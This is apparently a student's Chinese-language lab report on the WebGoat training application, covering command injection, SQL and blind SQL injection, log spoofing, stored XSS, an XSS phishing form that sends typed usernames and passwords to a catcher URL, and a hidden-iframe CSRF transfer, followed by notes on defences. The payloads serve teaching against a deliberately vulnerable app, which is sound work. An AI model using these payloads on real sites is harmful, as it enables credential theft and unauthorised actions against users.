20145234黄斐《网络对抗技术》实验九、Web安全基础实践
PS:我是分了两次做的这次试验,第二次实验的时候电脑出了一点问题熄火了……原本后面的是有图的结果博客没保存图没了……
WebGoat
- WebGoat是由著名的OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来讲授Web应用程序安全课程的。这个应用程序提供了一个逼真的教学环境,为用户完成课程提供了有关的线索。
- 因为WebGoat是基于java开发的软件,所以它具有平台无关性,在各种操作平台上都可以运行,所以本次实验所处的系统为kali机
- 在命令行中输入以下指令即可运行相关
jar
包java -jar webgoat-container-7.0.1-war-exec.jar
- WebGoat默认使用8080端口,所以在看到相关提示:
INFO: Starting ProtocolHandler ["http-bio-8080"]后即可开始
- 打开浏览器,访问
localhost:8080/WebGoat
,登陆即可
BurpSuite
- Burp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。
- 在桌面左边的快捷栏找到
,打开他,一直
next
就好; Proxy
->Options
,点击Add
,自行配置一个端口号,配好以后记得要勾选自己配好的那一条,然后点击run:- 打开浏览器的设置页,
Advanced
->Network
->Settings
: - 按照下图进行设置:
- 若需要将网页拦截下来的时候在proxy里点击
intercept
把他打开
- 在桌面左边的快捷栏找到
Injection Flaws
Command Injection
- 这个界面可以执行系统命令并返回给用户,所以应该在请求项里面添加shell命令,执行
ifconfig
具体来说,就是用前文提到的
BurpSuite
- 工具拦截请求,并将其中的参数改为(我的是这样):
AccessControlMatrix.help"& ifconfig"
- 表示执行这2个指令,在网页的最后能看到ifconfig的结果,成功
Numeric SQL Injection
- 要求:尝试用SQL注入,使得能查到所有的天气
- 思路也很简单,直接构造永真式,即可查找到所有记录
- 既可以按照上一题的思路用工具捕包修改,也可以直接按
F12
修改网页源文件,将需要查找的value改为:101 or 1=1
- 点击go,看到所有城市的天气,成功
Log Spoofing
- 题目的意思是要你写一个SQL字符串,因为网页会将你输入错误的用户名返回给你,所以我们的目标是使得网页返回给你的结果显示的你登录成功一样
- 所以在用户名那构造语句:
gq%0d%0aLogin Succeeded for username: admin
LAB:SQL Injection
Stage 1:String SQL Injection
- 根据描述,是要求你在不知道密码的前提下,还能登录成功
- 利用SQL相关语法,输入
'or 1='1
- 失败,发现超过字符长度。修改源代码(字符串格式与长度),再次输入'or 1='1
- 成功
Stage 2:Parameterized Query #1
- 做不了
Stage 3:Numeric SQL Injection
- 不会……
Stage 4:Parameterized Query #2
- 同
Stage 2
,做不了
String SQL Injection
- 要求:要你输入正确的Last name登录进去
'or 1='1
- 成功,因为为永真,所以任何用户的信息都看见了
因为不知道密码,所以用万能密钥试一试,根据前文输入:
Database Backdoors
- 根据题目要求是要你使用多条语句的SQL注入,更新数据表
- 根据前一篇博客的多条语句注入练习,在此,设置如下SQL语句:
101; update employee set salary=10000
- 发现数据表所有人员工资都等于10000已经更新,成功
第二步要求没看懂
Blind Numeric SQL Injection:
- 数字型盲注入,要求找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值;
- 不停利用
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') >(或者<) 100 );
来猜测,利用折半查找的思想,最终确定答案为2364
Blind String SQL Injection:
- 字符串型盲注入,要求找到pins表中cc_number字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar;
- 这和上一题一样猜ASCII的值,答案是Jill;
Cross-Site Scripting (XSS)
Phishing with XSS
Phishing with XSS:XSS钓鱼,要求创建一个表单,诱骗访问者输入用户名密码,并将表单提交到
http://localhost:8080/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE
;
以下是代码示例:</form><script>function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR><H3>This feature requires account login:</H2>
<br>
<br>
Enter Username:
<br>
<input type="text" name="user">
<br>
Enter Password:
<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
Stored XSS Attacks
- 存储型XSS攻击,要求在信件中写入一个网页或弹窗;
- 具体操作是这样的:
- title可以任意输入,根据第一次尝试可以发现,输入的这个可以作为一个超链接更新保存在本界面,点击后即可查看输入内容
- Message输入消息,可以嵌入一段js代码,用户点击后即可触发,例如输入:
<script>alert("5234 attack succeed!");</script>
Cross Site Request Forgery (CSRF)
- 这里是一个储存型XSS和CSRF结合的示例,CSRF就是冒名登录,用代码伪造请求
- 这里是把CSRF恶意代码利用储存型XSS放到了网页上,通过留言Message里输入,构造恶意代码如下
<iframe src="attack?Screen=504&menu=900&transferFunds=5000"></iframe>
- 当用户点击这个留言,就会触发,显示已转走5000元
- 注意:上述screen和menu参数的值和网站右边显示的要保持一致
- 如果想让用户在不查觉的情况下,可以将
<iframe>
中的长和宽参数设为1像素,这样就看不见了
实验后回答问题
- (1)SQL注入攻击原理,如何防御
原理:SQL注入攻击的基本原理,是从客户端合法接口提交特殊的非法代码,让其注入到服务器端执行业务的SQL中去,进而改变SQL语句的原有逻辑和影响服务器端正常业务的处理。
防御:
- 执行验证的SQL语句;
- 使用正则表达式屏蔽特殊字符;
- 使用PreparedStatement代替Statement;
- (2)XSS攻击的原理,如何防御
原理:XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。
防御:
- 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
- 当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。
- (3)CSRF攻击原理,如何防御
原理:CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。
防御:
- 通过 referer、token 或者 验证码 来检测用户提交。
- 尽量不要在页面的链接中暴露用户隐私信息。
- 对于用户修改删除等操作最好都使用post 操作 。
- 避免全站通用的cookie,严格设置cookie的域。
20145234黄斐《网络对抗技术》实验九、Web安全基础实践的更多相关文章
- 20155201 网络攻防技术 实验九 Web安全基础
20155201 网络攻防技术 实验九 Web安全基础 一.实践内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.报告内容: 1. 基础问题回答 1)SQL注入攻击 ...
- 20145231熊梓宏 《网络对抗》 实验9 Web安全基础实践
20145231熊梓宏 <网络对抗> 实验9 Web安全基础实践 基础问题回答 1.SQL注入攻击原理,如何防御? •SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面 ...
- 20155328 《网络对抗》 实验九 Web安全
20155328 <网络对抗> 实验九 Web安全 基础 实验过程记录 在实验开始之前先把webgoat的jar包放到home目录下.打开终端,用命令java -jar webgoat-c ...
- 2017-2018-2 20155314《网络对抗技术》Exp9 Web安全基础
2017-2018-2 20155314<网络对抗技术>Exp9 Web安全基础 目录 实验目标 实验内容 实验环境 基础问题回答 预备知识 实验步骤--WebGoat实践 0x10 We ...
- 20155235 《网络攻防》 实验九 Web安全基础
20155235 <网络攻防> 实验九 Web安全基础 实验内容 SQL注入攻击 XSS攻击 CSRF攻击 WebGoat WebGoat是OWASP组织研制出的用于进行web漏洞实验的应 ...
- 20145302张薇 《网络对抗技术》逆向及BOF基础实践
20145302张薇 <网络对抗技术>逆向及BOF基础实践 实验内容 实践对象:名为20145302的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单 ...
- 20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13
<网络对抗技术>Exp9 Web安全基础 Week13 一.实验目标与内容 1.实践内容 (1).本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目.包括(SQL,XSS,CSR ...
- 2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165315<网络对抗技术>Exp9 Web安全基础 目录 一.实验内容 二.实验步骤 1.Webgoat前期准备 2.SQL注入攻击 Command Inje ...
- 2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础
2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础 目录 实验内容与步骤 (一)Webgoat安装 (二)SQL注入攻击 1.命令注入(Command Injection ...
- 2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165212<网络对抗技术>Exp9 Web安全基础 基础问题回答 1.SQL注入攻击原理,如何防御? 原理:SQL注入,就是通过把SQL命令插入到Web表单递 ...
随机推荐
- npm、webpack、Gulp 中文教程
按顺序阅读 1.npm 模块管理器 2.package.json 文件 3.npm 模块安装机制简介 4.npm scripts 使用指南 5.CommonJS 规范 随着 es6 模块化特性的出现, ...
- Eigen学习之简单线性方程与矩阵分解
Eigen提供了解线性方程的计算方法,包括LU分解法,QR分解法,SVD(奇异值分解).特征值分解等.对于一般形式如下的线性系统: 解决上述方程的方式一般是将矩阵A进行分解,当然最基本的方法是高斯消元 ...
- Jquery异步 Deferred Object
Deferred Object )); return dtd.promise();};//使用$.when()为普通操作添加回调函数 为多个操作指定回调函数//$.when(deferred, def ...
- python入门の缩进魔术
idx=1 sum=0 while idx<=100: sum=idx+sum idx=idx+1 print('sum 100 =', sum) ======================= ...
- 关于easyUI
<input class="easyui-combobox" id="s_dataDicName" data-options="panelHei ...
- Linux的Transparent Hugepage与关闭方法
Transparent HugePages是在运行时动态分配内存的,而标准的HugePages是在系统启动时预先分配内存,并在系统运行时不再改变. 因为Transparent HugePages是在运 ...
- linux下jira搭建&破解(转自:https://www.cnblogs.com/zpw-1/p/9553358.html)
写在前面 网络类似文章不少,但是同样的路,别人走可能一马平川,自己走可能磕磕绊绊.记录一下自己搭建过程的一路踩坑历程[目前还记得的]. 一.环境准备 1,jira7.3的运行是依赖java环境的,也就 ...
- 微信小程序websocket
微信小程序websocket 微信小程序带有websocket可以提供使用,但是官方文档写的东西很少,而且小程序后台能力弱这一点也是十分的坑爹,这就导致了socket长连接一切后台就会出现断开的情况, ...
- U-Mail如何实现邮件营销自动化?
对于很多企业来说,人力成本可能就是最大的成本支出了,如果能节省这方面成本支出,也就意味着公司增收了,因此很多公司在做营销工作时,都希望营销能够高效率.有系统.有规划.循序渐进的开展,同时还要减轻营销人 ...
- acl 4 year statistics